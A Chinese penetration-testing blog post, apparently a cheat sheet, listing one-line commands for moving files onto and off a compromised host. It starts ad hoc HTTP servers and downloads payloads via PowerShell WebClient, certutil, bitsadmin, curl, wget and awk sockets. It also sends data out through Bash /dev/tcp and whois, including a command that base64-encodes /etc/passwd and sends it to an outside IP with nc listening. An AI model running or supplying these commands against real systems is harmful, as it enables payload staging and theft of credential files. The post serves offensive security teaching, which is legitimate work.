渗透测试中的文件传输技巧

前言

在渗透测试中会遇到很多需要进行文件传输的场景,我就结合一些大佬的写几个常用的。

server

php

当php大于5.4的时候,可以使用php在当前目录创建一个简易 http server,监听端口为1337

php -S 0.0.0.0:1337

图片.png

busybox

BusyBox 是一个集成了三百多个最常用Linux命令和工具的软件,也可以进行文件传输,但没回显,但是下载成功

busybox httpd -f -p 1337

图片.png

图片.png

ruby

ruby -run -e httpd . -p 1337

图片.png

python2

python -m SimpleHTTPServer 1733

会在当前目录启动http服务,监听端口1733

图片.png

python3

python3 -m http.server 1777

会在当前目录启动http服务,监听端口1777
在这里插入图片描述

Download files from HTTP server

Windows
powershell

下载文件

powershell (new-object System.Net.WebClient).DownloadFile(‘http://192.168.100.197:7878/3.py’,‘e:\java\3.py’);

执行文件

start-process ‘c:\download\a.exe’

certutil下载

certutil -urlcache -split -f http://192.168.100.197:7878/3.py e:\java\3.py

bitsadmin下载

bitsadmin /transfer n http://192.168.100.197:7878/3.py e:\java\3.py

linux

curl

curl http://192.168.100.197:7878/3.py

wget

wget http://192.168.100.197:7878/3.py

awk

awk 'BEGIN {
  RS = ORS = "\r\n"
  HTTPCon = "/inet/tcp/0/192.168.100.197/7878"
  print "GET /secret.txt HTTP/1.1\r\nConnection: close\r\n"    |& HTTPCon
  while (HTTPCon |& getline > 0)
      print $0
  close(HTTPCon)
}'

使用bash 进行文件传输
使用 Bash /dev/tcp 进行文件传输
接收文件端

nc -lvvp 1337 > aa.py

发送文件端

cat 3.py >/dev/tcp/132.232.75.90/1337

使用 whois 命令进行文件传输

发送文件端

whois -h 132.232.75.90 -p 1337 `cat /etc/passwd | base64`

接受文件端

nc -lvvp 8080

使用ftp传输文
服务端搭建ftp服务
客户端ftp连接

ftp ip

下载文件

get 文件名
参考链接
https://paper.seebug.org/834/?from=timeline&isappinstalled=0

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值